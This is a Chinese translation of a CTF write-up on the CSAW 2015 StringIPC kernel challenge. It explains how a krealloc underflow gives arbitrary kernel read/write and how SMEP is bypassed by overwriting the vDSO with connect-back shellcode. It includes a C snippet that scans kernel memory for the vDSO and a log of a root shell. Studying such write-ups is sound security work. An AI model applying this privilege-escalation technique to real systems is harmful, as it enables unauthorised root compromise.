CSAW2015决赛:使用vDSO重写绕过SMEP

      CSAW2015决赛:使用vDSO重写绕过SMEP无评论

今年的CSAW决赛中有几个不错的内核挑战,今天我们解决的是来自Michael Coppola的StringIPC。

我们的实验环境为内核版本3.13的64位ubuntu 14.04.3虚拟机,并且开启SMEP,kptr_restrict和dmesg_restrict。这里加载了一个"StringIPC"内核模块,但是源在home目录下,你可以在这里查看源代码。

分析内核模块

StringIPC模块实现了一个进程间的基本通信系统,其允许设备的ioctl存储到/dev/csaw并且通过不同通道读取数据。下面这8个不同的ioctl都可以用于对通道的创建,修改,读取/写入:

#define CSAW_IOCTL_BASE     0x77617363  #define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1  #define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2  #define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3  #define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4  #define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5  #define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6  #define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7  #define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

CSAW_ALLOC_CHANNEL允许你分配一个新的通道以及一个给定大小的缓冲区,而CSAW_GROW_CHANNEL和CSAW_SHRINK_CHANNEL使用krealloc可改变通道缓冲区的大小,CSAW_READ_CHANNEL和CSAW_WRITE_CHANNEL可读取/写入CSAW_SEEK_CHANNEL已分配好的内存缓冲区的通道偏移量,最后CSAW_OPEN_CHANNEL和CSAW_CLOSE_CHANNEL处理通道与ioctl之间的交互。

这个BUG位于realloc_ipc_channel中使用的krealloc:

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )  {      struct ipc_channel *channel;      size_t new_size;      char *new_data;      channel = get_channel_by_id(state, id);      if ( IS_ERR(channel) )          return PTR_ERR(channel);      if ( grow )          new_size = channel->buf_size + size;      else          new_size = channel->buf_size - size;      new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);      if ( new_data == NULL )          return -EINVAL;      channel->data = new_data;      channel->buf_size = new_size;      ipc_channel_put(state, channel);      return 0;  }

尝试缩小1个单位通道缓冲区,但还是比最初的分配要多,new_size将下溢变成INT_MAX。调用krealloc后增加1,然后溢出变回0。从krealloc源码中,我们可以看到如果new_size为0,其返回ZERO_SIZE_PTR:

void *krealloc(const void *p, size_t new_size, gfp_t flags) {      void *ret;      if (unlikely(!new_size)) {           kfree(p);           return ZERO_SIZE_PTR;      }  ...

ZERO_SIZE_PTR被定义为((void *)16),且在调整channel->data = 0×10以及channel->buf_size = INT_MAX之后。从0×10寻找一些偏移量,我们可以在任意内核空间读取/写入数据。

利用任意写

现在我们拥有了读写权限,接下来便可以制作exploit。SMEP已经开启,我们不能进行覆盖而且也不能跳转到用户空间执行一个准备好的Shellcode。为了绕过它,我们可以使用一项覆盖vDSO的技术致使另一外一个拥有root权限的进程执行我们准备的往回连接Shellcode

这里的思路是vDSO映射到内核空间以及每个进程的虚拟内存,其中包括一个以root权限运行的进程。这样做事为了加快调用特定的syscalls(不需要context切换也能正常工作),在用户空间vDSO映射为R/X,在内核空间为R/W。我们可以在内核空间进行修改,用户可在用户空间执行。

使用这项技术需要以下几步骤:

1.获得任意读写权限  2.在内核空间定位vDSO  3.创建一个往回连接Shellcode的root进程  4.用我们的Shellcode覆盖部分vDSO  5.监听我们的root Shell

对于第一步,我们已经完成。接下来便是在内核空间定位vDSO了

定位vDSO

以下为内核空间中初始化的vDSO内核代码:

static int __init init_vdso_vars(void) {      int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;      int i;      char *vbase;      vdso_size = npages << PAGE_SHIFT;      vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);      if (!vdso_pages)          goto oom;      for (i = 0; i < npages; i++) {          struct page *p;          p = alloc_page(GFP_KERNEL);          if (!p)              goto oom;          vdso_pages[i] = p;          copy_page(page_address(p), vdso_start + i*PAGE_SIZE);      }      vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);  ...

alloc_page在内核空间分配vDSO pages,指针存储在vdso_pages数组。因此想要定位这些pages有很多方法,如果你可以读取/proc/kallsyms,你可以读取vdso_pages来获得直接地址。然而对于这个挑战来说并非如此简单,第二种方法是在内核空间中搜索每个page开头的ELF头(vDSO映射的一部分),通过vDSO签名可以进一步缩小范围,我是这么做得:

void* header = 0;  void* loc = 0xffffffff80000000;  size_t i = 0;  for (; loc<0xffffffffffffafff; loc+=0x1000) {      readMem(&header,loc,8);      if (header==0x010102464c457f) {          fprintf(stderr,"%p elf/n",loc);          readMem(&header,loc+0x270,8);          //Look for 'clock_ge' signature (may not be at this offset, but happened to be)                  if (header==0x65675f6b636f6c63) {              fprintf(stderr,"%p found it?/n",loc);              break;          }      }        }

找到vDSO后,我们可以创建Shellcode覆盖之。

Connect-Back Shellcode

Connect-Back Shellcode是一个相对简单的x86-64 Shellcode。第一个修改便是给回调shell增加root进程,当所有的进程调用gettimeofday都会触发代码,对于非root进程是不会触发的。我们可以调用syscall 0×66(sys_getuid)与0进行比较,如果不是,我们会替换为调用syscall 0×60(sys_gettimeofday),这样就不会出啥大问题了。相同思路,即使我们有了root进程,我们不想导致其他东西崩溃,我们可以fork syscall 0×39。对于母进程我们依旧会转发sys_gettimeofday,而子进程则会运行我们的Connect-Back Shellcode

我所使用的Shellcode汇编代码可以在这里查看,它连接到127.0.0.1的3333端口并执行"/bin/sh"

最后我们还需要转储vDSO并检测gettimeofday所在的偏移位置。获得这些信息之后我们就可以用Shellcode覆盖这个位置,然后等待进程调用它。我设置了一个cron命令作为保险,最终代码你可以在这里查看,以下为运行片段:

csaw@team7:~$ id  uid=1000(csaw) gid=1000(csaw) groups=1000(csaw)  csaw@team7:~$ ./a.out   allocate fd: 3 ret: 0 id:1  Shrink: 0 err:0  ZERO_SIZED_POINTER = 0x10  0xffffffff817bc000 elf  0xffffffff817d1000 elf  0xffffffff81b6c000 elf  0xffffffff81b9e000 elf  0xffffffff81c03000 elf  0xffffffff81c03000 found it?  Listening on [0.0.0.0] (family 0, port 3333)  Connection from [127.0.0.1] port 3333 [tcp/*] accepted (family 2, sport 58568)  id  uid=0(root) gid=0(root) groups=0(root)

总结

并非只有vDSO可以映射内核空间和用户空间,在x86-64中vSYSCALL serves有一个函数就与vDSO十分类似,然而在本次挑战中没有开启kernel.vsyscall64,所以只能通过调用vDSO来代替了。如果vm.vdso_enable也为0,也能够轻松绕过vDSO并且libc wrappers会默认为正常的系统调用。

vDSO/vSYSCALL覆盖也是一项十分不错的技术,利用中断context而不需要本地进程映射内存或者获取更高权限的凭证。

当然,还有许多的解题方法,原作者给出的方法可以在这里查看

*参考来源:itszn,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论